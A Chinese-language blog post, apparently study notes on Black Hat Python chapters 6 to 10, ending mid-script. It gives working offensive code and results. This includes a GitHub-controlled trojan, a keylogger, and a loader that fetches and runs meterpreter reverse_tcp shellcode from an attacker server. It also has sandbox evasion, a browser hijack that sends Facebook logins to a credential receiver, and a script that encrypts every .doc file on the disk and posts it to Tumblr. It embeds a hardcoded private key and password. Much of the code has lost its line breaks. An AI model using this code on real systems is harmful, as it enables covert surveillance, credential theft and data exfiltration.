class BHPFuzzer(IIntruderPayloadGenerator):"""docstring for BHPFuzzer"""def __init__(self, extender,attack):self._extender = extenderself._helpers = extender._helpersself._attack = attackself.max_payloads = 10self.num_iterations = 0return#判定是否继续把修改后的请求发送回Burp Intruder,检查模糊测试时迭代的数量是否达到上限def hasMorePayloads(self):if self.num_iterations == self.max_payloads:return Falseelse:return True#接受原始的HTTP负载,current_payload是数组,转化成字符串,传递给模糊测试函数mutate_payloaddef getNextPayload(self,current_payload):#转换成字符串payload = "".join(chr(x) for x in current_payload)#调用简单的变形器对POST请求进行模糊测试payload = self.mutate_payload(payload)#增加FUZZ的次数self.num_iterations += 1return payload#重置num_iterationsdef reset(self):self.num_iterations = 0returndef mutate_payload(self,original_payload):#仅生成随机数或者调用一个外部脚本picker = random.randint(1,3)#在载荷中选取一个随机的偏移量去变形offset = random.randint(0,len(original_payload)-1)payload = original_payload[:offset]#在随机偏移位置插入SQL注入尝试if picker == 1:payload += "'"#插入跨站尝试 if picker == 2:payload += "<script>alert('BHP!');</script>"#随机重复原始载荷if picker == 3:chunk_length = random.randint(len(payload[offset:]),len(payload)-1)repeater = random.randint(1,10)for i in range(repeater):payload += original_payload[offset:offset+chunk_length]#添加载荷中剩余的字节payload += original_payload[offset:]return payload

配置Burp扩展:

看到前面Loaded的勾打上之后就是没什么问题的了,如果出现问题的话会在error中显示然后再去修改代码。

对http://testphp.vulnweb.com进行测试:

填入“test”后,使用Burpsuite抓到数据包并发送到Intruder中:

配置完之后,点击start attack进行攻击,查看到存在SQL注入:

在Burp中利用Bing服务:

后面测试成功再补上

利用网站内容生成密码字典:

#coding=utf-8
from burp import IBurpExtender
from burp import IContextMenuFactoryfrom javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URLimport re
from datetime import datetime
from HTMLParser import HTMLParserclass TagStripper(HTMLParser):"""docstring for TagStripper"""def __init__(self):HTMLParser.__init__(self)self.page_text = []def handle_data(self,data):self.page_text.append(data)def handle_comment(self,data):self.handle_data(data)def strip(self,html):self.feed(html)return " ".join(self.page_text)class BurpExtender(IBurpExtender, IContextMenuFactory):"""docstring for BurpExtender"""def registerExtenderCallbacks(self,callbacks):self._callbacks = callbacksself._helpers = callbacks.getHelpers()self.context = Noneself.hosts = set()#按部就班self.wordlist = set(["password"])#建立起我们的扩展工具callbacks.setExtensionName("BHP Wordlist")callbacks.registerContextMenuFactory(self)returndef createMenuItems(self,context_menu):self.context = context_menumenu_list = ArrayList()menu_list.add(JMenuItem("Create Wordlist",actionPerformed=self.wordlist_menu))return menu_listdef wordlist_menu(self,event):#抓取用户点击细节http_traffic = self.context.getSelectedMessages()for traffic in http_traffic:http_service = traffic.getHttpService()host = http_service.getHost()self.hosts.add(host)http_response = traffic.getResponse()if http_response:self.get_words(http_response)self.display_wordlist()returndef get_words(self,http_response):headers, body = http_response.tostring().split('\r\n\r\n',1)#忽略下一个请求if headers.lower().find("content-type: text") == -1:returntag_stripper = TagStripper()page_text = tag_stripper.strip(body)words = re.findall("[a-zA-Z]\w{2,}",page_text)for word in words:#过滤长字符串if len(word) <= 12:self.wordlist.add(word.lower())returndef mangle(self,word):year = datetime.now().yearsuffixes = ["","1","!",year]mangled = []for password in (word,word.capitalize()):for suffix in suffixes:mangled.append("%s%s"%(password,suffix))return mangleddef display_wordlist(self):print "#! comment: BHP Wordlist for site(s) %s"%", ".join(self.hosts)for word in sorted(self.wordlist):for password in self.mangle(word):print passwordreturn

先和之前的一样在Burp的Extender中添加扩展,然后访问http://testphp.vulnweb.com,在Burp的Target中选中该URL并右键点击爬取该主机,具体操作看图吧:

运行结果:

可以看到生成的字典内容,当然这里是选择在输出栏输出,也可以让输出保存成文件。

第七章——基于GitHub的命令和控制

GitHub账号设置:

这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧:

mkdir trojan

cd trojan

git init

mkdir modules

mkdir config

mkdir data

touch modules/.gitignore

touch config/.gitignore

touch data/.gitignore

git add .

git commit -m "Adding repo structure for trojan."

git remote add origin https://github.com/<你的GitHub用户名>/chapter7.git

git push origin master

上面的代码为将要用到的repository创建了最原始的框架,其中包括三个目录modules、config和data,分别用来包含木马被控端所要下载和执行的所有模块代码、保存包含对应的每个木马被控端的配置文件和保存木马上传的数据、键盘记录、屏幕快照等资料。

创建模块:

这两个脚本在modules目录下创建。

dirlist.py:

import osdef run(**args):print "[*] In dirlister module. "files = os.listdir(".")return str(files)

environment.py:

import osdef run(**args):print "[*] In environment module. "return str(os.environ)

都创建完成后,在项目的主目录中通过下面命令将其推送上去:

git add .

git commit -m "Adding new modules"

git push origin master

其中需要输入账号密码,输入之后即可看到上传成功。

木马配置:

进入config目录,新建abc.json:

[{"module" : "dirlister"},{"module" : "environment"}
]

推送代码上去GitHub:

git add .

git commit -m "Adding simple config."

git push origin master

编写基于GitHub通信的木马:

这部分代码和下一部分的放一起。

Python模块导入功能的破解:

#!/usr/bin/python
#coding=utf-8import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import osfrom github3 import logintrojan_id = "abc"trojan_config = "%s.json"%trojan_id
data_path = "data/%s/"%trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()def connect_to_github():gh = login(username="你的GitHub用户名",password="密码")repo = gh.repository("你的GitHub用户名","chapter7")branch = repo.branch("master")return gh,repo,branchdef get_file_contents(filepath):gh,repo,branch = connect_to_github()tree = branch.commit.commit.tree.recurse()for filename in tree.tree:if filepath in filename.path:print "[*] Found file %s"%filepathblob = repo.blob(filename._json_data['sha'])return blob.contentreturn Nonedef get_trojan_config():global configuredconfig_json = get_file_contents(trojan_config)config = json.loads(base64.b64decode(config_json))configured = Truefor task in config:if task['module'] not in sys.modules:exec("import %s"%task['module'])return configdef store_module_result(data):gh,repo,branch = connect_to_github()remote_path = "data/%s/%d.data"%(trojan_id,random.randint(1000,100000))repo.create_file(remote_path,"Commit message",base64.b64encode(data))returnclass GitImporter(object):"""docstring for GitImporter"""def __init__(self):self.current_module_code = ""def find_module(self,fullname,path=None):if configured:print "[*] Attempting to retrieve %s"%fullnamenew_library = get_file_contents("modules/%s"%fullname)if new_library is not None:self.current_module_code = base64.b64decode(new_library)return selfreturn Nonedef load_module(self,name):module = imp.new_module(name)exec self.current_module_code in module.__dict__sys.modules[name] = modulereturn moduledef module_runner(module):task_queue.put(1)result = sys.modules[module].run()task_queue.get()#保存结果到我们的repo中store_module_result(result)return#木马的主循环
sys.meta_path = [GitImporter()]while True:if task_queue.empty():config = get_trojan_config()for task in config:t = threading.Thread(target=module_runner,args=(task['module'],))t.start()time.sleep(random.randint(1,10))time.sleep(random.randint(1000,10000))

先来运行该脚本:

可以看到,没问题,该木马连接到repository中了,获取配置文件,下载了配置文件中的两个模块并运行。

再到项目主目录下输入:

木马在运行两个模块之后成功上传了结果。

接着到GitHub上看看吧:

确实多了两个文件,分别打开看看,会发现是经过base64编码的,然后使用Firefox的HackBar解码即可:

第一个文件很明显是环境变量的相关信息,在命令行输入env命令来对比输出结果,发现是一样的:

第八章——Windows下木马的常用功能

有趣的键盘记录:

安装pyHook:

http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.7.exe

安装pythoncom:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

若上述两个包安装没问题的话调用猜测的结果是这样的:

因为上述两个包仅支持Python2.7的32位,所以就在32位Windows系统上进行测试。

#!/usr/bin/python
#coding=utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():#获得前台窗口的句柄hwnd = user32.GetForegroundWindow()#获得进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))#保存当前的进程IDprocess_id = "%d"%pid.value#申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#读取窗口标题window_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(window_title),512)#输出进程相关的信息printprint "[ PID: %s - %s - %s ]"%(process_id,executable.value,window_title.value)print#关闭句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)def KeyStroke(event):global current_window#检测目标是否切换了窗口if event.WindowName != current_window:current_window = event.WindowNameget_current_process()#检测按键是否为常规按键(非组合键等)if event.Ascii > 32 and event.Ascii <127:print chr(event.Ascii)else:#如果是输入为[Ctrl-V],则获得剪切板的内容if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s"%(pasted_value),else:print "[%s]"%event.Key,#返回直到下一个钩子事件被触发return True#创建和注册钩子函数管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke#注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

在32位XP上运行脚本,然后创建一个名为a.txt的文件,输入“This is XP!”之后换行,将其复制再粘贴一遍,结果如图:

结果可知,[Return]为换车,下面的两个标出来的分别为复制和粘贴。

当然,在32位win7上运行也是没有问题的:

截取屏幕快照:

#coding=utf-8
import win32gui
import win32ui
import win32con
import win32api#获得桌面窗口的句柄
hdesktop = win32gui.GetDesktopWindow()#获得所有显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)#创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)#创建基于内存的设备描述表
mem_dc = img_dc.CreateCompatibleDC()#创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)#复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)#将位图保存到文件
screenshot.SaveBitmapFile(mem_dc,'C:\\Python27\\screenshot.bmp')#释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

也是在32位XP上测试,运行后可以看到生成了一个bmp文件:

打开看该文件,可以看到是运行时截的全屏:

同样win7也可行:

Python方式的shellcode执行:

先在Kali Linux中生成32位Windows的后门shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.160 LPORT=1234 -f raw -o win_backdoor.raw

该命令的具体参数在《关于Metasploit的学习笔记(二)》中具体说过就不多说了。

生成结果:

接着开启Metasploit进行监听反弹的shell,具体步骤也不多说了在之前的文章有。

然后通过以下命令,将shellcode进行base64编码并利用SimpleHTTPServer模块将/tmp目录作为Web服务根目录并建立Web服务器:

base64 -i win_backdoor.raw > shellcode.bin

python -m SimpleHTTPServer

最后,到XP端运行一下代码即可:

#coding=utf-8
import urllib2
import ctypes
import base64#从我们的Web服务器上下载shellcode
url = "http://10.10.10.160:8000/shellcode.bin"
response = urllib2.urlopen(url)#base64解码shellcode
shellcode = base64.b64decode(response.read())#申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode,len(shellcode))#创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE(ctypes.c_void_p))#执行shellcode
shellcode_func()

运行结果:

脚本一直没有运行结束,到Kali中查看:

可以看到,简单模拟的Web服务器收到了来自XP(10.10.10.123)的连接请求,并下载了该shellcode到本地执行,那么就来查看Metasploit窗口:

可以看到,shellcode执行成功,后门文件成功执行,得到了XP的shell。

沙盒检测:

百度搜的:沙盒原理,即sandbox,是一种类似于影 子系统的,比带有宿主的虚拟机更深层的系统内核级技术。它可以接管病毒调用接口或函数的行为。并会在确认病毒行为后实行回滚机制,让系统复原。用于为一些来源不可信、具备破坏力或无法判定程序意图的程序提供试验环境。其原理是通过重定向技术,把程序生成和修改的文件定向到自身文件夹中。当某个程序试图发挥作用时,安全软件可以先让它在沙盒中运行,如果含有恶意行为,则禁止程序的进一步运行,而这不会对系统造成任何危害。

该脚本是用于检测运行的环境是否是沙盒,通过监视目标主机最近的用户输入,包括键盘输入和鼠标点击,尝试判断沙盒的管理者是否在重复发送输入信号,对用户与机器最后交互的时间与机器已经开机运行的时间进行对比从而判断是否在沙盒内部运行。

#coding=utf-8
import ctypes
import random
import time
import sysuser32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32keystrokes = 0
mouse_clicks = 0
double_clicks = 0class LASTINPUTINFO(ctypes.Structure):"""docstring for LASTINPUTINFO"""_fields_ = [("cbSize",ctypes.c_unit),("dwTime",ctypes.c_ulong)]def get_last_input():struct_lastinputinfo = LASTINPUTINFO()struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)#获得用户最后输入的相关信息user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))#获得机器运行的时间run_time = kernel32.GetTickCount()elapsed = run_time - struct_lastinputinfo.dwTimeprint "[*] It's been %d milliseconds since the last input event."%elapsedreturn elapsed'''测试后删除下面的代码!while True:get_last_input()time.sleep(1)'''def get_key_press():global mouse_clicksglobal keystrokesfor i in range(0,0xff):if user32.GetAsyncKeyState(i) == -32767:#左键点击为0x1if i == 0x1:mouse_clicks += 1return time.time()elif i > 32 and i < 127:keystrokes += 1return Nonedef detect_sandbox():global mouse_clicksglobal keystrokesmax_keystrokes = random.randint(10,25)max_mouse_clicks = random.randint(5,25)double_clicks = 0max_double_clicks = 10double_click_threshold = 0.250 #秒为单位first_double_click = Noneaverage_mousetime = 0max_input_threshold = 30000 #毫秒为单位previous_timestamp = Nonedetection_complete = Falselast_input = get_last_input()#超过设定的阈值时强制退出if last_input >= max_input_threshold:sys.exit(0)while not detection_complete:keypress_time = get_key_press()if keypress_time is not None and previous_timestamp is not None:#计算两次点击间隔的时间elapsed = keypress_time - previous_timestamp#间隔时间短的话,则为用户双击if elapsed <= double_click_threshold:double_clicks += 1if first_double_click is None:#获取第一次双击时的时间first_double_click =time.time()else:if double_clicks == max_double_clicks:if keypress_time - first_double_click <= (max_double_clicks*double_click_threshold):sys.exit(0)#用户的输入次数达到设定的条件if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:returnprevious_timestamp = keypress_timeelif keypress_time is not None:previous_timestamp = keypress_timedetect_sandbox()
print "We are OK!"

由于没有搭建沙盒环境所以就没有进行测试。

第九章——玩转浏览器

基于浏览器的中间人攻击:

#coding=utf-8
import win32com.client
import time
import urlparse
import urllibdata_receiver = "http://localhost:8080/"target_sites = {}
target_sites["www.facebook.com"] = {"logout_url" : None,"logout_form" : "logout_form","login_form_index" : 0,"owned" : False
}#IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'windows = win32com.client.Dispatch(clsid)while True:for browser in windows:url = urlparse.urlparse(browser.LocationUrl)if url.hostname in target_sites:if target_sites[url.hostname]["owned"]:continue#如果有一个URL,我们可以重定向if target_sites[url.hostname]["logout_url"]:browser.Navigate(target_sites[url.hostname]["logout_url"])wait_for_browser(browser)else:#检索文件中的所有元素full_doc = browser.Document.all#for i in full_doc:try:#找到退出登录的表单并提交if i.id == target_sites[url.hostname]["logout_url"]:i.submit()wait_for_browser(browser)except:pass#现在来修改登录表单try:login_index = target_sites[url.hostname]["login_form_index"]login_page = urllib.quote(browser.LocationUrl)browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)target_sites[url.hostname]["owned"] = Trueexcept:passtime.sleep(5)def wait_for_browser(browser):#等待浏览器加载完一个页面while browser.ReadyState != 4 and browser.ReadyState != "complete":time.sleep(0.1)return

代码中只对Facebook的网站进行尝试,之前还添加了虚拟机中的网站DVWA进行尝试,和下一小节的代码一块运行测试。

创建接收服务器:

import SimpleHTTPServer
import SocketServer
import urllibclass CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):"""docstring for CredRequestHandler"""def do_POST(self):content_length = int(self.headers['Content-Length'])creds = self.rfile.read(content_length).decode('utf-8')print credssite = self.path[1:]self.send_response(301)self.send_headers('Location',urllib.unquote(site))self.end_headers()server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

在win7上在不同窗口分别运行上述两个脚本。

运行结果:

可以看到访问其它网站时很多是访问不成功的,而且存在一个问题就是,IE浏览器的设置代理端口只能设置一个,但要访问Facebook的话需要设置一个代理端口用于FQ,但是这个脚本也是需要设置代理端口实现监听,因而这里没办法实现到书上的效果,希望知道的大神可以指导指导~

利用IE的COM组件自动化技术窃取数据:

下载PyCrypto库:http://www.voidspace.org.uk/python/modules.shtml#pycrypto/

keygen.py:

#!/usr/bin/python
from Crypto.PublicKey import RSAnew_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")print public_key
print private_key

这段代码用来简单快速地生成RSA公私钥并将其输出。

运行该脚本,分别生成一个公钥和私钥,将它们保存下来以便后面的使用:

decrypto.py:

#coding=utf-8
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEPprivate_key = "MIIEowIBAAKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQABAoIBADmfYUUXUBq8QF7akLMxfcmwpR4nANU8+9kJWoQCze2vSLYNyS/pDUd6rNyhedjqooJDioR28C80rqTET5YKJCWVYcMhKWa7nDueOaFb3YgXqP8ALR71nvDiGMKTlMuuSPS3HC8L1XqWNyZdr/I5XCMdnqzchtGiX80vyXA6yGviO6cVYLO3Rmgn6AbHyhM6apkdGS7zusgYQbxC7R8PnCZiH+pgLyQuC8boHeUCZW3bdLJ5pRkOw+DpeYNL0yZyvKBicKnX85N+o8+yqO56xdVgPxxUEhFJELCr5TYoQW8D9nN8EWqDgEhDfnOA7T/W06dCFQ9xlCqVGiPdTARBTjkCgYEAz84NmYV+Ww5qsfYOrk42OCkAj63p0TxEpY/9Q/Z9axyFGifi+NO7MZOe4ZgVQTtVv27RRAgbAvDLML4LxPVoWZ8Da6cgxSx11zqawv/bcb2g4qEQi4VQ6Wipa50MMTN7ez1gBZku+HDqIvDDUWQoWHsD0kfqGsOLtM4W4BA0pk0CgYEA1Thm5vVZEqHkQufcBu0ZBv7+qnkHRAv1W2QgOrcQuA1XzFHNVaXO5Y2icCtXZQwcoCemznOuvueC+i20dPKVekFlRwtTgj8yAu26r54FIfxIduowcv1i5tcbQottM6n8YEhub4ALs4O8z6yIifQ6sLSJSmmygjOzPb9qSfBwxU8CgYB+MD037cWWG8IUwTuXA22PWu65UT28TmHNPAvq2mK8yXvWL0R4H3L8Hw2LJqQ5kYN3lR7EtjtY5MoulilleDTev13/YGTY9y+z/CWApogmoKVzGaWHY/SHWIQREjQWKJIie1m07JmGSmMTxqqE4VJSsJjYd80kZXyP1do0RAMEvQKBgQCIdXNuBsG96fxjUW6AxEdLMfEcex7KTvj1R4xU54p8sJVrP0MxuE9EnLPEJAjns6uyWA4qfODubs5lfNDMM+C0gJvnrvkAF5/TPgBHmtNgH8zkxhbB0Sb1498fZIo8EWNi35hGJeXXOs2g/6PW3oadRr3C8Qh8ycfCEfpdXdNegwKBgDsOPlzZBw6D02haTMoeIF+RHESM5ZpWQJm2r+ct7P/1K7XLmFKhN8ZrCEKYysstHWwD4AvgGoWW2F3fJxdkewRkLA5zjRkJXR+NmC8hRjPSzIsmV8LRKLmxDnMGoR5YR5lAXhnuwHUBOf02wJH+IW8EJMkDfrr3r66M/gnw5H24"rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)chunk_size = 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted)while offset < len(encrypted):decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])offset += chunk_size#解压负载
plaintext = zlib.decompress(decrypted)print plaintext

这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。

ie_exfil.py:

#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEPdoc_type = ".doc"
username = "jms@bughunter.ca"
password = "justinBHP2014"public_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQAB"def wait_for_browser(browser):#等待浏览器加载完一个页面while browser.ReadyState != 4 and browser.ReadyState != "complete":time.sleep(0.1)returndef encrypt_string(plaintext):chunk_size = 256print "Compressing: %d bytes"%len(plaintext)plaintext = zlib.compress(plaintext)print "Encrypting %d bytes"%len(plaintext)rsakey = RSA.importKey(public_key)rsakey = PKCS1_OAEP.new(rsakey)encrypted = ""offset = 0while offset < len(plaintext):chunk = plaintext[offset:offset+chunk_size]if len(chunk) % chunk_size != 0:chunk += " " * (chunk_size - len(chunk))encrypted += rsakey.encrypt(chunk)offset += chunk_sizeencrypted = encrypted.encode("base64")print "Base64 encoded crypto: %d"%len(encrypted)return encrypteddef encrypt_post(filename):#打开并读取文件fd = open(filename,"rb")contents = fd.read()fd.close()encrypted_title = encrypt_string(filename)encrypted_body = encrypt_string(contents)return encrypted_title,encrypted_bodydef random_sleep():time.sleep(random.randint(5,10))returndef login_to_tumblr(ie):#解析文档中的所有元素full_doc = ie.Document.all#迭代每个元素来查找登录表单for i in full_doc:if i.id == "signup_email":i.setAttribute("value",username)elif i.id == "signup_password":i.setAttribute("value",password)random_sleep()try:#你会遇到不同的登陆主页if  ie.Document.forms[0].id == "signup_form":ie.Document.forms[0].submit()else:ie.Document.forms[1].submit()except IndexError, e:passrandom_sleep()#登陆表单是登录页面中的第二个表单wait_for_browser(ie)returndef post_to_tumblr(ie,title,post):full_doc = ie.Document.allfor i in full_doc:if i.id == "post_one":i.setAttribute("value",title)title_box = ii.focus()elif i.id == "post_two":i.setAttribute("innerHTML",post)print "Set text area"i.focus()elif i.id == "create_post":print "Found post button"post_form = ii.focus()#将浏览器的焦点从输入主体内容的窗口上移开random_sleep()title_box.focus()random_sleep()#提交表单post_form.children[0].click()wait_for_browser(ie)random_sleep()returndef exfiltrate(document_path):ie = win32com.client.Dispatch("InternetExplorer.Application")ie.Visible = 1#访问tumblr站点并登录ie.Navigate("https://www.tumblr.com/login")wait_for_browser(ie)print "Logging in..."login_to_tumblr(ie)print "Logged in...navigating"ie.Navigate("https://www.tumblr.com/new/text")wait_for_browser(ie)#加密文件title,body = encrypt_post(document_path)print "Creating new post..."post_to_tumblr(ie,title,body)print "Posted!"#销毁IE实例ie.Quit()ie = Nonereturn#用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk("C:\\"):for filename in fnmatch.filter(filenames,"*%s"%doc_type):document_path = os.path.join(parent,filename)print "Found: %s"%document_pathexfiltrate(document_path)raw_input("Continue?")

这段代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上。

运行结果:

访问tumblr需要FQ,在脚本一运行的时候就会弹出IE登录tumblr的窗口,登录成功后也压缩文件成功了,但是到使用RSA公钥加密时出错了,报错说的是RSA密钥格式不支持,不知道是不是下载的PyCrypto库版本不同。。。

就是差这步就可以上传成功的,成功后如图可以查看到POST的内容:

然后将上面的内容复制下来到解密的那个脚本中运行即可知道该文档的名称和内容是什么了。

第十章——Windows系统提权

环境准备:

pywin32的安装在第八章的键盘记录中有,这里还需要安装wmi:

在本人的32位win7上本来是没有easy_install这个命令的,这需要安装setuptools-0.6c11.win32-py2.7.exe即可:http://www.sobaidupan.com/file-3739339.html

接着下载安装bhpservice.zip:https://www.nostarch.com/download/bhpservice.zip,安装步骤按下载下来的文档来进行即可,安装设置成功后查看应该是如图的效果:

创建进程监视器:
利用WMI监视进程:

#coding=utf-8
import win32con
import win32api
import win32securityimport wmi
import sys
import osdef log_to_file(message):fd = open("process_monitor_log.csv","ab")fd.write("%s\r\n"%message)fd.close()return#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")#初始化WMI接口
c= wmi.WMI()#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") while True:try:new_process = process_watcher()proc_owner = new_process.GetOwner()proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])create_data = new_process.CreationDateexecutable = new_process.ExecutablePathcmdline = new_process.CommandLinepid = new_process.ProcessIdparent_pid = new_process.ParentProcessIdprivileges = "N/A"process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)print process_log_messagelog_to_file(process_log_message)except:pass

在win7中以管理员运行cmd来执行该脚本,然后打开计算器和Notepad,可以看到:

同时在脚本所在目录会生成一个csv文件,打开可以看到其记录了脚本监视到的进程的记录:

Windows系统的令牌权限:

Windows系统的令牌是指:“一个包含进程或线程上下文安全信息的对象”。

三个有意思的权限:

1、SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无须关注它的访问控制列表(ACL)。

2、SeDebugPrivilege:使得用户进程可以调试其他进程,当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。

3、SeLoadDriver:使得用户进程可以加载或者卸载驱动。

可以看到上一小节的脚本对于进程的权限并没有进行相应有效的处理,这次就是在此基础上添加一个对进程权限进行处理的函数。

#coding=utf-8
import win32con
import win32api
import win32securityimport wmi
import sys
import osdef get_process_privileges(pid):try:#获取目标进程的句柄hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)#打开主进程的令牌htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)#解析已启用权限的列表privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)#迭代每个权限并输出其中已经启用的priv_list = ""for i in privs:#检测权限是否已经启用if i[1] == 3:priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])except Exception as e:priv_list = "N/A"return priv_listdef log_to_file(message):fd = open("process_monitor_log.csv","ab")fd.write("%s\r\n"%message)fd.close()return#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")#初始化WMI接口
c= wmi.WMI()#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") while True:try:new_process = process_watcher()proc_owner = new_process.GetOwner()proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])create_data = new_process.CreationDateexecutable = new_process.ExecutablePathcmdline = new_process.CommandLinepid = new_process.ProcessIdparent_pid = new_process.ParentProcessIdprivileges = get_process_privileges(pid)process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)print process_log_messagelog_to_file(process_log_message)except:pass

运行结果:

赢得竞争:

有些软件会把文件复制到一个临时目录下,等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用,必须在和目标程序执行脚本的竞争中占先。当软件或计划任务创建文件的时候,必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现,可以让我们监控一个目录中的任何文件或者子目录的变化。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]#文件修改行为对应的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5def start_monitor(path_to_watch):#为每个监控器起一个线程FILE_LIST_DIRECTORY = 0x0001h_directory = win32file.CreateFile(path_to_watch,FILE_LIST_DIRECTORY,win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,None,win32con.OPEN_EXISTING,win32con.FILE_FLAG_BACKUP_SEMANTICS,None)while 1:try:results = win32file.ReadDirectoryChangesW(h_directory,1024,True,win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,None,None)for action,file_name in results:full_filename = os.path.join(path_to_watch,file_name)if action == FILE_CREATED:print "[+] Created %s"%full_filenameelif action == FILE_DELETED:print "[+] Deleted %s"%full_filenameelif action == FILE_MODIFIED:print "[+] Modified 